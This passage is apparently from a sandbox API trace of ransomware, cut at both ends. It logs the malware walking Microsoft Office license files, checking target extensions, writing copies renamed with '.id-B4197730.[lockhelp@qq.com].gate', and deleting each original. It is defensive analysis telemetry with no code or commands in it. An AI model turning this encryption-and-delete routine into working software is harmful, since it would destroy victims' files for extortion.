returned 5 [0315.710] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0315.710] lstrlenW (lpString=".ppt") returned 4 [0315.710] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0315.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0315.710] lstrlenW (lpString=".zip") returned 4 [0315.710] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0315.710] lstrlenW (lpString=".rar") returned 4 [0315.710] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0315.710] lstrlenW (lpString=".bz2") returned 4 [0315.710] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0315.710] lstrlenW (lpString=".7z") returned 3 [0315.710] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0315.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0315.710] lstrlenW (lpString=".dbf") returned 4 [0315.710] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0315.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0315.711] lstrlenW (lpString=".1cd") returned 4 [0315.711] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0315.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0315.711] lstrlenW (lpString=".jpg") returned 4 [0315.711] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0315.711] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=20967) returned 1 [0315.711] CloseHandle (hObject=0x4b0) returned 1 [0315.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms")) returned 0x220 [0315.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0315.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0315.712] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.712] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0315.713] GetLastError () returned 0x0 [0315.713] ReadFile (in: hFile=0x4b0, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x51e7, lpOverlapped=0x0) returned 1 [0315.834] WriteFile (in: hFile=0x50c, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x51f0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x51f0, lpOverlapped=0x0) returned 1 [0315.835] ReadFile (in: hFile=0x4b0, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0315.835] WriteFile (in: hFile=0x50c, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x102, lpOverlapped=0x0) returned 1 [0315.835] SetEndOfFile (hFile=0x50c) returned 1 [0315.835] CloseHandle (hObject=0x50c) returned 1 [0315.838] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.838] SetEndOfFile (hFile=0x4b0) returned 1 [0315.843] CloseHandle (hObject=0x4b0) returned 1 [0315.843] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0315.999] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms")) returned 1 [0316.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0316.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0316.000] lstrlenW (lpString=".doc") returned 4 [0316.000] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0316.000] lstrlenW (lpString=".docx") returned 5 [0316.000] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0316.000] lstrlenW (lpString=".pdf") returned 4 [0316.000] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0316.000] lstrlenW (lpString=".xls") returned 4 [0316.000] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0316.000] lstrlenW (lpString=".xlsx") returned 5 [0316.000] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0316.000] lstrlenW (lpString=".ppt") returned 4 [0316.000] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0316.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0316.000] lstrlenW (lpString=".zip") returned 4 [0316.000] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0316.000] lstrlenW (lpString=".rar") returned 4 [0316.001] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0316.001] lstrlenW (lpString=".bz2") returned 4 [0316.001] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0316.001] lstrlenW (lpString=".7z") returned 3 [0316.001] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0316.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0316.001] lstrlenW (lpString=".dbf") returned 4 [0316.001] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0316.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0316.001] lstrlenW (lpString=".1cd") returned 4 [0316.001] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0316.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0316.001] lstrlenW (lpString=".jpg") returned 4 [0316.001] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0316.001] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=19921) returned 1 [0316.001] CloseHandle (hObject=0x52c) returned 1 [0316.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms")) returned 0x220 [0316.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0316.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0316.002] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.002] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0316.003] GetLastError () returned 0x0 [0316.003] ReadFile (in: hFile=0x52c, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x4dd1, lpOverlapped=0x0) returned 1 [0316.098] WriteFile (in: hFile=0x4b8, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x4de0, lpOverlapped=0x0) returned 1 [0316.099] ReadFile (in: hFile=0x52c, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0316.099] WriteFile (in: hFile=0x4b8, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x106, lpOverlapped=0x0) returned 1 [0316.099] SetEndOfFile (hFile=0x4b8) returned 1 [0316.100] CloseHandle (hObject=0x4b8) returned 1 [0316.101] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.101] SetEndOfFile (hFile=0x52c) returned 1 [0316.107] CloseHandle (hObject=0x52c) returned 1 [0316.107] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0316.108] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms")) returned 1 [0316.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0316.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0316.109] lstrlenW (lpString=".doc") returned 4 [0316.109] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0316.109] lstrlenW (lpString=".docx") returned 5 [0316.109] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0316.110] lstrlenW (lpString=".pdf") returned 4 [0316.110] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0316.110] lstrlenW (lpString=".xls") returned 4 [0316.110] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0316.110] lstrlenW (lpString=".xlsx") returned 5 [0316.110] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0316.110] lstrlenW (lpString=".ppt") returned 4 [0316.110] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0316.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0316.110] lstrlenW (lpString=".zip") returned 4 [0316.110] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0316.110] lstrlenW (lpString=".rar") returned 4 [0316.110] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0316.110] lstrlenW (lpString=".bz2") returned 4 [0316.110] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0316.110] lstrlenW (lpString=".7z") returned 3 [0316.110] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0316.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0316.110] lstrlenW (lpString=".dbf") returned 4 [0316.110] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0316.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0316.110] lstrlenW (lpString=".1cd") returned 4 [0316.110] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0316.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0316.110] lstrlenW (lpString=".jpg") returned 4 [0316.110] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0316.111] GetFileSizeEx (in: hFile=0x50c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=10679) returned 1 [0316.111] CloseHandle (hObject=0x50c) returned 1 [0316.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms")) returned 0x220 [0316.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0316.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0316.111] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.111] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0316.112] GetLastError () returned 0x0 [0316.112] ReadFile (in: hFile=0x50c, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x29b7, lpOverlapped=0x0) returned 1 [0316.158] WriteFile (in: hFile=0x52c, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x29c0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x29c0, lpOverlapped=0x0) returned 1 [0316.159] ReadFile (in: hFile=0x50c, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0316.159] WriteFile (in: hFile=0x52c, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x11c, lpOverlapped=0x0) returned 1 [0316.159] SetEndOfFile (hFile=0x52c) returned 1 [0316.159] CloseHandle (hObject=0x52c) returned 1 [0316.159] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.159] SetEndOfFile (hFile=0x50c) returned 1 [0316.161] CloseHandle (hObject=0x50c) returned 1 [0316.161] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0316.162] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms")) returned 1 [0316.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0316.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0316.162] lstrlenW (lpString=".doc") returned 4 [0316.162] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0316.162] lstrlenW (lpString=".docx") returned 5 [0316.162] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0316.162] lstrlenW (lpString=".pdf") returned 4 [0316.162] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0316.163] lstrlenW (lpString=".xls") returned 4 [0316.163] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0316.163] lstrlenW (lpString=".xlsx") returned 5 [0316.163] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0316.163] lstrlenW (lpString=".ppt") returned 4 [0316.163] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0316.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0316.163] lstrlenW (lpString=".zip") returned 4 [0316.163] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0316.163] lstrlenW (lpString=".rar") returned 4 [0316.163] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0316.163] lstrlenW (lpString=".bz2") returned 4 [0316.163] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0316.163] lstrlenW (lpString=".7z") returned 3 [0316.163] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0316.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0316.163] lstrlenW (lpString=".dbf") returned 4 [0316.163] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0316.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0316.163] lstrlenW (lpString=".1cd") returned 4 [0316.163] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0316.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0316.163] lstrlenW (lpString=".jpg") returned 4 [0316.163] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0316.164] GetFileSizeEx (in: hFile=0x50c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=11637) returned 1 [0316.164] CloseHandle (hObject=0x50c) returned 1 [0316.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0316.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0316.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0316.165] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.165] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0316.165] GetLastError () returned 0x0 [0316.165] ReadFile (in: hFile=0x50c, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x2d75, lpOverlapped=0x0) returned 1 [0316.379] WriteFile (in: hFile=0x52c, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x2d80, lpOverlapped=0x0) returned 1 [0316.380] ReadFile (in: hFile=0x50c, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0316.380] WriteFile (in: hFile=0x52c, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x124, lpOverlapped=0x0) returned 1 [0316.380] SetEndOfFile (hFile=0x52c) returned 1 [0316.381] CloseHandle (hObject=0x52c) returned 1 [0316.381] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.381] SetEndOfFile (hFile=0x50c) returned 1 [0316.386] CloseHandle (hObject=0x50c) returned 1 [0316.387] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0316.387] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms")) returned 1 [0316.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0316.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0316.388] lstrlenW (lpString=".doc") returned 4 [0316.388] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0316.388] lstrlenW (lpString=".docx") returned 5 [0316.388] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0316.388] lstrlenW (lpString=".pdf") returned 4 [0316.388] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0316.388] lstrlenW (lpString=".xls") returned 4 [0316.388] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0316.388] lstrlenW (lpString=".xlsx") returned 5 [0316.388] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0316.388] lstrlenW (lpString=".ppt") returned 4 [0316.388] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0316.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0316.388] lstrlenW (lpString=".zip") returned 4 [0316.388] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0316.388] lstrlenW (lpString=".rar") returned 4 [0316.388] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0316.388] lstrlenW (lpString=".bz2") returned 4 [0316.388] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0316.388] lstrlenW (lpString=".7z") returned 3 [0316.388] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0316.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0316.388] lstrlenW (lpString=".dbf") returned 4 [0316.388] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0316.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0316.389] lstrlenW (lpString=".1cd") returned 4 [0316.389] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0316.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0316.389] lstrlenW (lpString=".jpg") returned 4 [0316.389] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0316.389] GetFileSizeEx (in: hFile=0x50c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=22093) returned 1 [0316.389] CloseHandle (hObject=0x50c) returned 1 [0316.389] GetFileAttributesW 